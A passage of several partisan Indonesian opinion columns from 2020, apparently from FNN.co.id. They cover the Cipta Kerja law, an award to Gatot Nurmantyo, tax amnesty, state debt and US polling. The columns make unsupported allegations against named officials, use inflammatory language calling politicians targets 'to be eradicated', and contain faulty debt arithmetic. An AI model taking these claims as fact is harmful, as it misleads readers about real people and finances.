Law bagai bus yang membawa hukum meluncur ke jurang. Ketiga, demokrasi ekonomi. Kekuasaan ekonomi kerakyatan atau pemihakan kepada kaum buruh dilindas habis. Kepentingan pengusaha dan pemilik modal yang lebih diutamakan. Masalah lingkungan hidup juga turut dihancurkan, demi dan investasi konglomerasi licik, picik, culas dan tamak. Sistem ekonmi kapitalisme dibuat semakin mengakar. Keempat, demokrasi budaya. Budaya kekeluargaan, sopan santun, serta menghargai aspek keragaman dan keagamaan telah dirusak penguasa. Pemerintah bertindak keras untuk memproteksi Undang-Undang Omnibus Law. Raksasa buruk muka ini telah merenggut korban berupa penangkapan aktivis sosial dan keagamaan yang kritis kepada penguasa. Omnibus Law adalah wajah dari Pemerintah yang "ndableg' atau "bebal". The government is ignorant. Lucunya untuk kesalahan kebijakan Pemerintah, masih saja mau menyalahkan rakyat atau orang lain atas kebijakannya sendiri yang salah sebagaimana ungkapan Keith Dowding dalam bukunya "It's The Government, Stupid"--How governments blame citizens for their own policies. Menurut Dowding, tanggung jawab itu seharusnya berada di kaki politisi. Politisi yang berada di ruang birokrasi maupun parlemen bertanggungjawab atas Undang-Undang Omnibus Law yang bikin gaduh bangsa ini. Politisi inilah yang pantas disebut pengacau atau bahkan teroris terhadap rakyat. Mereka meneror rakyat dengan fikiran, aturan, alasan, dan ancaman agar rakyat mau menjalankan kebijakan secara sukarela ataupun terpaksa. Ini model politisi yang berkarakter penjajah. Politisi yang merasa benar sendiri seperti ini yang menjadi prioritas untuk dibasmi. Negara akan berpenyakit kronis jika memelihara virus pembuat pemerintahan menjadi bebal. Lampu yang sudah redup hanya dua pilihan untuknya mati atau segera ganti. Penulis adalah Pemerhati Politik dan Kebangsaan

Gatot Sebaiknya Tunda Terima “Bintang Mahaputra”

by Luqman Ibrahim Soemay Puncak Jaya FNN – Kamis (05/10). Pemerintah Jokowi telah memutuskan untuk memberikan prnghargaan “Bintang Mahaputra” kepada Jendral TNI (Purn.) Gagot Nurmantyo. Penghargaan itu diberikan dalam rangka peringatan Hari Pahlawan tanggal 10 Nopember tahun ini. Namun Gatot sebaiknya lebih hati-hati dalam mensikapi rencana pemerintah tersebut. Gatot bisa masuk dalam jebakan batmen. Kalau sudah masuk, susah lagi untuk kerluar. Kalau Gatot salah bersikap terhadap “Bintang Mahaputra” ini, Gatot bisabisa kejebur jurang yang berlumpur. Karena jurangnya berlumpur, maka Gotot susah untuk bangkit lagi mendapatkan simpati publik yang terlanjur kecewa terhadap tata kelola negara di bawah Jokowi yang terkesan amburadul dan amatiran ini. Gatot sebaiknya belajar dari kecerobohan Prabowo Subianto yang tergiur dengan sogokan Menteri Pertahanan serta Menteri Kelautan dan Perikanan. Namun kehilangan pendukung setianya. Prabowo dipastikan kehilangan sekitar 60-70 juta orang yang memilihnya dengan uang sendiri, keringat sendiri dan darah sendiri, dan nyawa sendiri di Pilres 2019 lalu. Prabowo juga kehilangan emak-emak militan, yang menilai Jokowi memimpin negara dengan cara-cara yang amatiran, bahkan amburadul. Prabowo hari ini menjadi barang aneh di telinga emak-emak militan. Hanya karena Prabowo berubah menjadi cebong 24 karat. Prabowo telah terpeleset. Susah untuk bisa bangkit lagi, dan mendapat kepercayaan seperti dulu. Marahnya emak-emak militan kepada Prabowo ini kadang kala bisa berdampak kepada para suami di rumah. Para suami harus hati-hati jika bicara tentang Prabowo. Mendingan bicara tentang kekurangan, daripada bicara kelebihan Prabowo. Para suami kemungkinan bisa dipunggungin untuk sementara saat tidur, bila suaminya kepeleset bicara tentang kehebatan Prabowo. Ingat Syahganda, Jumhur, Anton Dkk Ada empat langkah yang menjadi ciri paling menojol pemerintah Jokowi untuk membungkam oposisi masyarakat sipil (civil sosciety) yang kritis. Targetnya, agar civil society bia diam, atau behenti untuk mengkritisi tata kelola pemerintahan Jokowi yang kacau balau. amatiran dan amburadul ini. Pertama, sogok dengan jabatan. Langkah ini sedidik berhasil. Cotohnya adalah Ali Muchtar Ngabalin, Kapitra Apmera dan Habib Luthfi. Sebelumnya ketika di luar, mereka keras mengkritik pemrintahan Jokowi. Namun begitu dikasih jabatan, langsung diam. Bahkan berbalik menyerang siapa saja kelompok oposisi yang mengkritik pemerintahan Jokowi. Kedua, kalau sogok dengan jabatan tidak mempan juga, langkah berikutnya adalah melakukan tindakan represip dengan penangkapan-penangkatan di sana-sini. Benar atau salah masalah yang dituduhkan, itu urusan nanti. “Yang penting tangkap dulu mereka. Nanti dilepas lagi. Yang penting tangkap dulu, “begitun kata Menteri Atasi Segala Urusan (ASU) kepada aktivis senior yang kebetulan dekat Opung. Ketiga, intip tunggakan pajaknya. Pola ini dugunakan untuk membungkam mereka yang masih menjabat sebagai politisi maupun pengusaha. Umumnya mereka adalah piminan dan mantan pimpinan MPR, DPR dan DPD. Pola yang sama juga dilakukan terhadap anggota-anggota DPR dan DPD yang membandel dan suka kritis terhadap kekuasaan Jokowi. Tidak mengherankan, bila apa saja yang dimaui oleh pemerintah, hampir dipastikan dapat persetujuan dari DPR. Lihat saja Perppu Nomor 1/2020, RUU HIP UU Miner dan UU Cipta Kerja. Suatu ketika Menteri Keuangan pernah mengatakan, kalau untuk pimpinan MPR yang itu (salah satu pimpinan MPR), tinggal kita ingatkan saja, “mas jangan lupa tunggakan pajaknya yaaaaa”. Keempat, berikan penghargaan seperti “Bintang Mahaputra” kepada Pak Gaoto. Selesai upacara terima “Bintang Mahaputra”, lalu foto-foto dengan penerima “Bintang Mahaputra”. Setelah itu disebarkan ke media sosial. Pola ini cukup berhasil, karena pernah dipakai untuk menggandeng Fadli Zon dan Fahri Hamzah (doa F) yang mantan Wakil ketua DPR. Tunggu Keluar Dari Tahanan Langkah terbaik yang perlu dilakukan Pak Gatot sebagai salah satu simbol tokoh opisi moral sekarang ini adalah menunda untuk menerima “Bintang Mahaputra”. Hanya sekedar menuda waktu menerima saja. Bukan menolak “Bintang Mahaputra”. Tunggu waktu yang tepat saja. Waktunya saja yang kemungkinan belum pas untuk Pak Gatot menerima “Bintang Mahaputra” saat ini. Menunda dulu sampai dengan Syahganda Nainggolan, Jumhur Hidayat, Anton Permana, Kingkin Anida dan teman-teman keluar dari tahanan Bareskrim Polri. Menunda ini untuk menjaga soliditas dan kekompakan oposisi moral. Langkah menunda menerima “Bintang Mahaputra” ini sebagai bentuk penghorman dan tenggang rasa kepada teman seperjuangan Syahganda, Jumhur, Anton, Kingkin dan kawan-kawan. Toh mereka hari ini ditahan hanya karena menjadi bagian dari Komite Aksi Menyelamatkan Indonesia (KAMI). Komite dari gerakan politik moral, dimana Gatot adalah satu diatara tiga Presidium KAMI, bersama-sama dengan Prof. Dr. Din Syamsudin dan Prof. Dr. Rohmat Wahab. Tidak dapat dipungkiri bahwa KAMI hari ini tampil sebagai gerakan oposisi moral yang sangat ditakuti pemerintah. d\Deklarasi KAMI bermunculan dimana-mana, baik di Provinsi maupun Kabupaten-Kota. Bahkan ada yang di luar negeri. Ini akibat dari gagalnya partai politik tampil mewakili suara dan perasaan rakyat. Partai politik malah menjadi cebong penguasa. Pemerintah berkali-kali berupaya menggalkan deklarasi KAMI di berbagi daerah. Yang terakhir deklarasi KAMI di Jambi yang dihadiri Gatot. Namun makin dihalang-halangi, bukanya semakin takut dan melempam. Malah semakin banyak Provinsi dan Kabupaten-Kota yang mengajukan diri mendeklarasikan KAMI di daerah masing-masing. Gatot Dicopot Itu Tegang Keputusan Presiden Jokowi untuk mencopot Gatot dari Pangliman TNI, dan menggatinya Marsekal TNI Hadi Tjahjanto sangat menegakan. Bukan sebuah pergantian Panglima TNI yang biasa-biasa. Bahkan boleh dibilang paling menegangkan sepanjang sejarah pergantian Panglima TNI. Kejadian yang sangat mempermalukan dengan sengaja, baik pribadi Gatot maupun institusi TNI. Bagaimana tidak. Belum pernah terjadi sepajnag sejarah negeri ini sejak merdeka, ada Panglima TNI yang diganti di tengah jalan, sementara masa dinas aktifnya belum berakhir. Kejadian ini hanya terjadi di eranya Presiden Jokowi. Hanya terjadi pada Jendral TNI Gatot Nurmatyo yang terkenal keras dan kencang menentang bahaya kebangkinan faham-faham komunisme. Itu dilakukan Gatot dengan memerintahkan seluruh jajaran TNI menonton film Gerakan 30 September PKI. Bukan pencopotan Gatot saja. Dua atau tiga hari sebelum dicopot dari Panglima TNI, Gatot baru saja tandatangani rotasi perwira tinggi di kalangan TNI, termasuk pergantian Panglima Kostrad. Namun pergantian itu, kemudian dianulir Panglima TNI pengganti Gatot, Marsekal TNI Hadi Tjahjanto. Terlalu banyak air mata yang berceceran ketika menyaksikan Pak Gatot dicopot dengan cara yang tidak tidak biasanya dari Panglima TNI. Karena belum pernah terjadi pada Panglima TNI sebelumnya. Disana ada air mata prajurit dan mantan prajurit, air mata istri prajurit dan istri mantan prajurit, air mata anak prajurit dan manta anak mantan prajurit, air mata cucu prajurit dan cucu mantan prajurit. Ada juga air mata dari mereka yang anti terhadap faham komunisme. Mereka mungkin saja petani, nalayan, tekang ojek, tukang becak, sopir angkot, karek angkot, abang tuklang bakso, abang penjual sekuteng, abang penjual nasi goreng, abang penjual mie ayam, pedagang sembako di pasar, pedagang ikan di pasar ikan, pedang sayuran, ayam dan daging. Yang kemungkinan menangis ketika itu. Pada saat air mata mereka-mereka yang menetes karena Pak Gatot dicopot dari Panglima TNI dengan cara yang tidak biasanya (karena arogansi kekuasaan) itu belom kering, meskipun sudah berlalu tiga tahun berlalu. Karena yang pejabat mencopot Pak Gatot itu masih berkuasa sekarang. Orang itu pula yang mau memberikan “Bintang Mahaputra” kepada Pak Gatot Selasa 10 Nopember nanti. Pertanyaan yang menggelitik, mengapa baru sekarang Presiden Jokowi atas nama negara memberikan “Bintang Mahaputra” itu kepada Pak Gatot? Mengapa bukan pada 10 Nopember 2018 atau 2019 lalu? Kan Pak Gatot dicopot dari Panglima TNI dengan tragis itu pada Desember 2017 lalu. Untuk itu, sebaiknya Pak Gatot jangan tambah lagi dengan air mata Syahganda, Jumhur, Anton, Kingkin Anisa dan kawan-kawan yang masih di dalam tahanan Bareskrim Polri. Walaupun saya yakin teman-teman saya yang ada di tahanan Bareskrim itu, tidak bakal menangis dengan air mata sesungguhnya. Saya bangga untuk berteman dengan Bang Ganda, Jumhur dan Anton sebagai aktivis hebat. Mereka sudah memikirkan perbaikan bangsa ini sejak masih menjadi mahasiswa akhir tahun 1980-an. Mereka melawan otoritarisme, kezaliman, dan kediktaroran Soeharto sejak menjadi mahasiswa baru. Bahkan ada sudah ditahan Laksusda sejak masih SMA. Itulah resiko perjuangan yang mereka pilih. Sahabat-sahabat saya itu hanya bisa menangis mengukur kehebatan Pak Gatot. Sehebat apa Pak Gatot yang mereka bangga-banggakan? Apakah Pak Gatot itu macan seperti yang mereka banggakan selama ini? Atau hanya ayam sayur yang Pak Gatot istilahkan untuk para aktivis penakut saat menghadapi kezoliman? Jangan sampai Pak Gatot tidak lebih baik dari cabong 24 karat yang bernama Prabowo. Dipastikan bukan saja air mata sahabta-sahabat saya di dalam tahanan Bareskrim yang menetes, tetapi air mata para istri, para anak dan teman-temannya sesama aktivis lintas generasi. Yang sepauruhnya sudah berjuang sejak Malari tahun 1974 lalu. Karena perlawanan civil society terhadap pembungkaman kebebasan berpendapat oleh kekuasan yang otoritarisme itu dimulai sejak Peristiwa Malari 1974. Penulis adalah Wartawan Senior FNN.co.id.

Bintang Mahaputera. "Suap Politik" Untuk Gatot Nurmantyo?

by Hersubeno Arief Jakarta FNN - Rabu (04/11}. Jenderal Gatot akan mendapat Bintang Mahaputera. Kabar cukup mengejutkan itu muncul dari cuitan Menkopolhukam Mahdud MD. "Tanggal 10 dan 11 November 2020 Presiden akan menganugerahkan gelar Pahlawan Nasional (PN) dan Bintang Mahaputera (BM). “ Yang dapat gelar PN antara lain SM Amin dan Soekanto, yang dapat BM, antara lain Gatot Nurmantyo dan Arief Hidayat,” cuit Mahfud MD melalui Twitter, Selasa (3/11). Penghargaan ini tentu saja menimbulkan spekulasi politik dan menjadi pembahasan paling seru di media. Di media sosial analisisnya lebih seru lagi. Bebas merdeka. Mulai dari yang masuk akal, sampai yang paling tidak masuk akal. Namun bila diamati, sebagian besar melihat penghargaan ini dengan pandangan curiga. Gatot bagaimanapun saat ini harus dilihat sebagai figur pemimpin kelompok oposisi yang paling vocal dan diperhitungkan, Koalisi Aksi Menyelamatkan Indonesia (KAMI). Bersama Mantan Ketua Umum PP Muhammadiyah Din Syamsuddin dan Ketua Umum Komite Khittah NU 1926 Prof Rochmat Wahab, Gatot menjadi Presidium KAMI. Gatot sering bersuara keras terhadap pemerintah dan pasang badan keberadaan KAMI. Secara terbuka dia menyatakan pemerintahan saat ini dikendalikan oligarki. Kekuasaan yang dkelola sekelompok orang dengan topeng konstitusi. Pada Delarasi KAMI di Tugu Proklamasi (18/8) Gatot dengan lantang menyatakan akan bertanggungjawab secara pribadi, bila ada konskuensi hukum. Pada Deklarasi KAMI di Bandung Gatot juga menantang aparat keamanan bila dianggap makar. Sejak itu aktivitas Gatot bersama KAMI dihalang-halangi dan dibubarkan oleh polisi. Yang paling menggegerkan terjadi di Surabaya. Sejumlah pengunjukrasa menghadang kegiatan KAMI. Polisi bertindak lebih jauh. Seorang perwira menengah dari Polda Jatim masuk ruangan, menghentikan Gatot yang tengah berpidato. Belakangan terungkap pengunjukrasa mengaku sebagai massa bayaran. Tidak cukup hanya sekedar menghalang-halangi dan membubarkan kegiatan, polisi bertindak semakin keras. Sejumlah petinggi KAMI, Jumhur Hidayat, Syahganda Nainggolan dan Anton Permana ditangkap. Di beberapa daerah aktivis KAMI juga harus berurusan dengan polisi. Ketua Komite Eksekutif KAMI Ahmad Yani semula juga mau ditangkap polisi. Namun urung karena Ahmad Yani menolak dan melakukan perlawanan. Belakangan Ahmad Yani dipanggil kembali Bareskrim Polri dengan status sebagai saksi. Belum jelas bagaimana status Ahmad Yani. Apakah hanya sebatas saksi, atau statusnya ditingkatkan menjadi tersangka. Penangkapan para tokoh KAMI itu selain sebagai penggembosan gerakan, juga untuk memberi tekanan psikologis dan menakut-nakuti Gatot Nurmantyo. Tekanan Terhadap Gatot Dalam program ILC TV One Karni Ilyas pernah menanyakan hal itu. Apakah Gatot takut? Dengan lugas Gatot menjawab tidak takut. Sebagai mantan Panglima TNI, Gatot mengaku tidak bisa membayangkan apa dampaknya secara psikologis bagi parjurit TNI dan para yuniornya, bila dia tunduk pada tekanan. Ketika para aktivis KAMI ditangkap, Gatot juga bersikap santai. Dengan lantang dia meminta agar tidak dikasihani. “Mereka aktivis yang sudah teruji dan tahu konskuensi dari perjuangannya,” ujarnya. Jadi, dalam konteks itu, penganugerahan Bintang Mahaputera kepada Gatot dapat dilihat sebagai upaya lain untuk menundukkan Gatot. Tidak mempan ditekan dengan jalan keras, Gatot coba dirangkul. Penghargaan ini semacam gula-gula, “suap politik” terhadap Gatot. Pendekatan stick and carrot. Tongkat pemukul dan wortel. Walaupun momentumnya diberikan bersamaan dengan peringatan hari pahlawan, namun penghargaan itu terkesan tiba-tiba! Ujug-ujug! Kalau diberikan dalam kapasitas Gatot sebagai mantan Panglima TNI, mengapa baru diberikan sekarang? Gatot diganti pada bulan Desember 2017. Sudah hampir tiga tahun berlalu. Pergantiannya kala itu juga terkesan mendadak. Belum waktunya pensiun. Penggantian Gatot juga dibarengi spekulasi karena dia sering tidak sejalan dan berseberangan dengan Jokowi. Salah satunya dalam isu kebangkitan kembali PKI. Gatot kala itu memerintahkan seluruh jajaran TNI untuk menggelar nonton bareng Film G 30 S PKI. Sebuah perintah yang terkesan menantang PDIP sebagai partai penguasa, sekaligus pengusung Jokowi. Pola merangkul lawan politik ini sebelumnya juga pernah dilakukan pemerintahan Jokowi. Dua orang mantan wakil ketua DPR, Fahri Hamzah dan Fadlizon juga mendapat penghargaan serupa. Penghargaan diberikan bersamaan peringatan HUT Kemerdekaan RI ke-75 bulan Agustus lalu. Infonya juga lebih dulu dibocorkan oleh Mahfud MD. Duo F —begitu Fahri dan Fadli biasa dipanggil— selama ini selalu menyampaikan kritik keras terhadap pemerintahan Jokowi. Penghargaan ini sebenarnya biasa saja. Diberikan kepada para mantan pemimpin lembaga negara. Namun dimanfaatkan untuk kepentingan strategi dan komunikasi politik. Bagaimana sikap Gatot? Apakah dia akan menerima penghargaan itu, atau menolaknya? Posisi Gatot jelas sangat dilematis. Sangat ironis bila dia bersedia menerima penghargaan dari sebuah rezim yang memenjarakan para aktivis yang berjuang bersamanya di KAMI. Sebagai seorang komandan, dia pasti sadar tengah dipisahkan dari pasukannya. Dia sedang dilumpuhkan. Kekuatannya sedang dilucuti. Sikap ini bisa meruntuhkan moral, sekaligus memecah belah kekuatan KAMI. Sebaliknya bila menolak, Gatot benar-benar menunjukkan sikap berdiri diametral berhadapan dengan pemerintah. Risikonya pemerintah bisa bertindak lebih keras. Sangat mungkin Gatot sendiri yang akan menjadi targetnya. Di sisi mana Anda akan berdiri Pak Jenderal?! End Penulis adalah Wartawan Senior FNN.co.id.

Tanda Tangan Presiden Pertaruhkan Nasib 270 Juta Rakyat

by Tony Rosyid Jakarta FNN – Rabu (04/11). Fatal dan konyol bangat. Begitulah persepsi publik terhadap Undang-Undang Cipta Kerja (UU Ciptaker). Ada banyak masalah terkait materi dan proses. Disaat mata seluruh rakyat Indonesia memperhatikan, dan sebagian besar melakukan protes besar-besaran terhadap UU Ciptaker ini, presiden menandatangani naskah yang salah. Dimana letak kesalahannya? Perhatikan dengan cermat pasal 5 dan 6 UU Ciptaker ini. Pasal 5. Ruang lingkup sebagaimana dimaksud pasal 4 meliputi bidang hukum yang diatur dalam undang-undang terkait. (Catatan: "Tidak ada masalah"). Pasal 6. Peningkatan ekosistem investasi dan kegiatan berusaha sebagaimana dimaksud pada pasal 5 ayat (1) huruf a meliputi a. penerapan perizinan berusaha berbasis resiko, b. penyederhanaaan persyaratan dasar perizinan berusaha, c. penyederhanaan perizinan berusaha sektor, dan d. Penyederhanaan persyaratan investasi. (Catatan: "Bermasalah") Perhatikan baik-baik bunyi pasal 6 yang merujuk pasal 5 ayat (1) huruf a, b, c. Padahal, di pasal 5 tidak ada ayat (1) huruf a, b, c. Ini fatal. Kalau ini dianggap sekedar salah ketik, kesalahan administrasi, keliru! Ini undang-undang boss. Nasib anak bangsa, organisasi, korporasi, dan negeri ini ada di undang-undang. Salah titik atau koma saja, bisa sangat bermasalah di tingkat penafsiran, implementasi, tuntutan jaksa dan keputusan hukuman oleh hakim nantinya. Apalagi salah merujuk. Yang lebih fatal lagi, kesalahan ini terjadi saat UU Ciptaker sedang diprotes, didemo, digugat. UU yang mendapat perhatian hampir seluruh rakyat Indonesia. Ini gegebah, ceroboh dan seperti main-main saja dalam mengurus negara. Bagaimana mungkin nasib bangsa nggak amburadul jika cara mengurus bangsa terkesan asal-asalan dan amatiran seperti ini. Perlu juga ditelusuri, siapa yang bertanggung jawab atas kesalahan ini. Apakah kesalahan ini hanya ada pada pihak istana yang tidak cermat, atau nggak sempat membaca UU Ciptaker ini? Pasti tidak. Sebab, sebelum sampai ke meja presiden, naskah UU masuk dulu ke Sekretariat Negera (Setneg). Rakyat nanya, Setneg yang tidak cermat atau tidak baca? Begini amatirkah Setneg yang bertugas menjadi penjaga benteng administrasi negara Indonesia? Rakyat jadi bertanya lagi, ini kesalahan yang pertama kali, atau apakah seperti ini proses yang selama ini terjadi bertahun-tahun di istana? Setneg ceroboh, presiden tidak cermat. Semuanya mengrus negara dengan cara-cara yang sangat amatiran. Atau karena terlalu bersemangat dan hanya fokus pada pasal-pasal tertentu yang dianggap prioritas bagi istana dan DPR saja? Lalu melupakan atau abai terhadap pasal-pasal lain? Akibatnya menimbulkan kesalahan yang fatal. Kalau orang terlalu fokus, biasanya telinga nggak terlalu peka dengan suara di sekelilingnya. Wajar saja kalau demo nggak kedengeran ke istana. Perlu ditelusuri, kesalahan ini hanya ada di Setneg dan istana? Atau memang sudah ada sejak di Badan Legislasi (Baleg) DPR? Wajar jika rakyat menaruh curiga. Mengingat banyak anggota fraksi nggak baca naskah UU-nya saat sidang pengesahan. Bahkan ada banyak versi terkait jumlah halaman. Jika kesalahan terjadi sejak dari baleg DPR, maka bisa dipahami kalau proses legislasi di negeri ini memang sangat bermasalah. Belum lagi soal jumlah halaman. Dari baleg DPR berjumlah 812 halaman. Yang diteken presiden 1.187 halaman. Apakah memang karena ukuran kertas atau fontnya yang berbeda? Atau redaksinya memang berbeda? Nah, DPR dan pihak istana tidak memberi penjelasan secara rinci soal ini. Bagaimana mau menjelaskan, kalau tidak membaca, atau baca tapi nggak cermat? Kesalahan ini tak boleh terulang lagi. Jika UU keliru dan presiden salah tanda tangan, maka nasib 270 juta rakyat Indonesia dipertaruhkan. Lalu, apa yang harus dilakukan pemerintah sebagai bentuk tanggung jawabnya? Pertama, minta maaf, dan berikan penjelasan yang jujur atas kesalahan ini. Tak perlu malu-malu karena menjadi penguasa. Rakyat pasti bisa memaafkan. Meski butuh waktu untuk memaafkan. Kedua, keluarkan Perppu untuk membatalkan UU No 11/2020 tentang Ciptaker ini. UU terkait Ciptaker bisa diusulkan kembali jika pertama, situasi sudah reda. Kedua, tidak lagi mengulangi kesalahan formil maupun materiil. Ketiga, libatkan semua pihak yang berkompeten dan terdampak jika UU Ciptaker disahkan. Lebih baik ditunda dari pada berpotensi mamperbesar masalah dan risiko. Toh negeri ini tidak akan collaps dan bubar jika tidak ada UU Ciptaker. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Bohongi Presiden Soal Tex Amnesty, Membuat APBN Bangkrut

by Salamudian Daeng Jakarta FNN – Rabu (04/11). Anggaran Pendapatan dan Belanja Negara (APBN) Indonesia bangkurtu. Itu karena Presiden Jokowi sitengarai dibohongi mentah-mentah oleh para menterinya. Presiden dibohongi oleh para pembantunya sendiri. Salah satu bentuk kebohongan terhadap presiden yang paling kasar, terbuka dan telanjang adalah penipuan para pembantu presiden dalam proyek tax amnesty. Entah siapa yang menyuruh para menteri untuk ngefrank presiden. Siapa yang membayar mereka, sehingga melakukan hal demikian? Tega-teganya membohongi presiden yang telah memberikan tempat terhormat sebagai menteri. Sebagai pembantu presiden, seharusnya memberikan masukan yang tidak menjebloskan presiden ke jurang yang dalam. Bayangkan saja proyek tax amnesty atau pengampunan pajak oleh pemerintah ini telah mengobral janji kepada presiden. Bahwa proyek tax amnesty akan memberikan sumbangan pemasukan negara yang sangat besar. Presiden lalu dijanjikan, bakal ada uang masuk lebih dari Rp. 10.000-11.000 triliun yang akan lewat proposal tax amnesty. Obral janji ini dilakukan di hadapan seluruh rakyat Indonesia yang menyaksikannya. Tentu saja presiden sangat tergiur dan berharap banyak dengan janji surga uang dari tax amnesty tersebut. Wajar-wajar saja kalau Presiden Jokowi berhayal atau membayangkan besarnya anggaran negara untuk menggerakan pembangunan nasional di masa kepemimpinan Bayangkan juga bakal ada auang belasan ribu triliunan yang masuk ke dalam ekonomi Indonesia. Uang itu lalu ditempatkan di bank-bank nasional. Setelah itu diinvestasikan dalam sekror infrastruktur. Ada juga sebagian yang masuk ke dalam Usaha Menengah Kecil dan Mikro (UMKM) dan usaha-usaha rakyat. Bunga bank bisa sangat rendah karena dampak dari liquiditas melimpah. Tentu saja ini akan menjadi prestasi yang besar bagi Presiden Jokowi. Jokowi bakal dikenang sebagai presiden yang paling banyak dan berhasil meciptakan duit masuk ke dalam negera. Angan-angan Indonesia bakal menjadi gemah ripah loh jinawi. Sebab uang bukan lagi persoalan yang menjadi hambatan untuk kemajuan pembangunan Indonesia yang pesat dan cepat. Tetapi kenyataannya tidak ada uang yang masuk. Ujung tombak proyek tax amnesty yakni Sri Mulyani telah gagal total dalam melaksanakan proyek ini. Namun menteri keuangan terbaik dunia ini sepeti tidak merasa malu. Tidak merasa bertanggung jawab atas seluruh kegagalan proyek tax amnesty. Proyek ini sama sekali tidak dievaluasi. Semua lepas tangan. Seperti tidak pernah ada proyek tax amnesty saja. Apa yang sebenarnya terjadi dalam tax amnesty? Semua masih gelap sampai sekarang. Namun berbagai pihak menduga kalau ada penghapusan piutang negara kepada pengemplang pajak secara sengaja. Penghapusan piutang kepada bandit keuangan. Bandit sumber daya alam. Bandit yang menempatkan uang hasil kejahatan perpajakan di Indonesia pada perbankan secara ilegal. Baik itu pada perbankan dalam negeri maupun di luar negeri. Akibatnya negara kehilangan kewenangan untuk melakukan tagihan pajak kepada para bandit tersebut. Negara kehilangan potensi pendapatan setelah diteterapkannya tax amnesty. Yang terjadi setelah tax amnesty membuktikan bahwa argumentasi di atas hanyalah kebohongan dan kejahatan terencana para menteri kepada Presiden Jokowi semata? Uang masuk belasan ribu triliun terbukti hoax yang besar. Tidak ada tambahan subyek dan obyek pajak pemerintah secara significant. Malah yang terjadi sebaliknya, pemerintah kehilangan potensi penerimaan pada tahun tahun berikutnya setelah tax amnesty. Ini dikarenakan penghapusan tagihan piutang pajak negara. Akibatnya APBN yang sebelumnya sudah payah makin sekarat. Terbukti APBN tahun-tahun berikutnya, anggaran negara jebol. Pemerintah menutup defisit angaran yang besar dengan membuat utang baru. Ibarat menggali lobang untuk menutupi goa. Pembiayaan alias utang menjadi andalan utama APBN. Dampaknya, utang pemerintah meningkat secara pantastis. Peningkatan tersebut terjadi dalam komponen utang luar negeri dan Surat Utang Negara (SUN). Hingga bulan September 2020 surat utang negara telah mencapai Rp. 2.861 triliun. Utang luar negeri pemerintah mencapai US 200 miliar atau setara dengan Rp. 2.900 triliun, pada kusr 14.750,- per dolar. Utang pemerintah telah bertambah dalam tahun 2020 saja senilai Rp. 600 triliun. Angka tersebut lebih dari Rp. 1.039 triliun utang yang direncanakan pemerintah untuk menutup defisit tahun 2020. Itu menurut data resmi Bank Indonesia (BI). Berbeda dengan data BI, menurut Menteri Keuangan Sri Mulyani hanya 30% dana asing dalam utang Indonesia. Pernyataan ini sangat menakutkan, mengingat Utang Luar Negeri Indonesia pemerintah dan swasta adalah US 408 miliar. Jika jumlah tersebut adalah 30 persen dana asing dari total utang, maka utang Indonesia sekarang sudah mencapai US 1.360 miliar. Jika dibandingkan dengan Produk Demostik Bruto (PDB) Indonesia, yang hanya US 1.000 miliar, maka utang yang dibentuk di Indonesia telah mencapai 136% dari GDP Indonesia. Bisa dibayangkan, disaat ekonomi covid dan resesi sekarang ini, jika pemerintah, BUMN dan swasta bangkrut secara bersamaan, maka negara ini 136 persen akan disita oleh para pemberi utang. Artinya, walaupun seluruh rumah yang ada di Indonesia sudah dijual, namun penduduknya masih saja diburu oleh para rentenir global. Penduduk Indonesia masih saja diharuskan membayar sisa utang 36% lagi. Sekarang dengan alasan covid menteri keuangan akan utang lagi sebanyak Rp. 1.039 triliun untuk menyuntik swasta, BUMN dan bank-bank. Dalam situasi normal saja tidak bisa bayar utang. Lalu mereka ngefrank presiden lagi bahwa Indonesia terkena resesi dan harus utang. Swasta dan bank-bank perlu suntikan dana. Bilang ke Presiden Jokowi, “utang Indonesia masih aman ko Pak Presiden. Indonesia ini kaya raya ko Prak Presiden. Vahkan nanti setelah covid 19, Indonesia bisa bayar semua utang-utang tersebut”. Ngeri nggak ya? Penulis adalah Peneliti Asosiasi Ekonomi dan Politik Indonesia (AEPI).

Trump Bisa Menang Kalau Minta Bantuan KPU dan LSI Denny JA Cs

by Asyari Usman Jakarta FNN - Selasa (03/11). Pemilihan presiden di Amerika Serikat (AS) selalu menarik. Terutama bila pertarungan antara dua capres ‘nect to nect’ (ketat). Dan pertarungan Donald Trump vs Joseph “Joe” Biden yang hari ini (3 November 2020) sampai ke TPS, termasuk cukup mendebarkan. Meskipun Biden unggul nyaman dalam jajak pendapat (polling). Nah, bicara soal polling di AS, aspek ini dalam setiap perhelatan pemilihan umum di sana selalu menarik. Semua orang percaya 100 persen pada angka-angka jajak pendapat. Orang partai Republik percaya, orang partai Demokrat pun tak curiga. Mengapa publik AS tidak ada yang mempersoalkan hasil polling? Karena tidak ada satu lembaga pun yang selama ini terdeteksi merekayasa angka-angka. Baik dengan motif finansial maupun motif politik. Di pilpres 2020 ini, Donald Trump sebagai petahana seharusnya bisa “mengatur” hasil jajak pendapat agar massa Republik bersemangat. Trump juga dengan mudah bisa membayar pasukan buzzer untuk mempengaruhi publik. Trump tampaknya punya banyak duit untuk membayar “pollster” (pelaksana polling). Dia juga punya recehan untuk menyewa buzzer. Tapi, itu tidak dilakukan oleh Trump –dan juga Biden. Mengapa? Karena kedua capres ini akan merasa sangat hina kalau mereka menyewa pollster untuk menipu publik. Dan sebaliknya, pollster-pollster di Amerika akan merasa sangat jijik jika ada pihak yang mencoba mendekati mereka untuk tujuan rekayasa hasil jajak pendapat. Bahkan, pollster di Fox News (stasiun TV ekstrem kanan) tidak mau berbohong untuk membela Trump. Mereka tetap menyajikan angka-angka yang menunjukkan Trump di bawah Biden. Tetap jujur. Jajak pendapat nasional yang dilaksanakan Fox News pekan lalu menunjukkan Biden unggul 8 poin atas Trump 52%-44%. Angka rata-rata polling terakhir sehari menjelang pemungutan suara hari ini (3/11) yang disunting oleh Real Clear Politics menempatkan Biden unggul 6.8%. Keunggulan itu menurun sedikit dari 8.9% dua pekan lalu. Sedangkan sepekan lalu Biden unggul 7.8%. Fox News yang sangat anti-Biden (anti-Demokrat) itu juga tetap jujur dalam penyajian berita-berita tentang pilpres yang sangat seru ini. Fox masih mau meberitakan kampanye Biden dan menuliskan hasil polling NBC News/Wall Srett Journal yang menyebutkan Biden unggul 10% atas Trump (52%-46%). Fox juga memberitakan jajak Quinnpiac University yang menyebutkan Biden unggul 11 poin (50%-39%). Kita lihat apa kata jajak pendapat Investor’s Business Daily (IBD). Media bisnis ini, sekiranya berada di Indonesia, hampir pasti akan mengunggulkan capres yang procukong. Alias capres Republik. Tapi, IBD juga jujur. Tidak mencoba menggunggulkan Trump. Meskipun Biden dikatakan 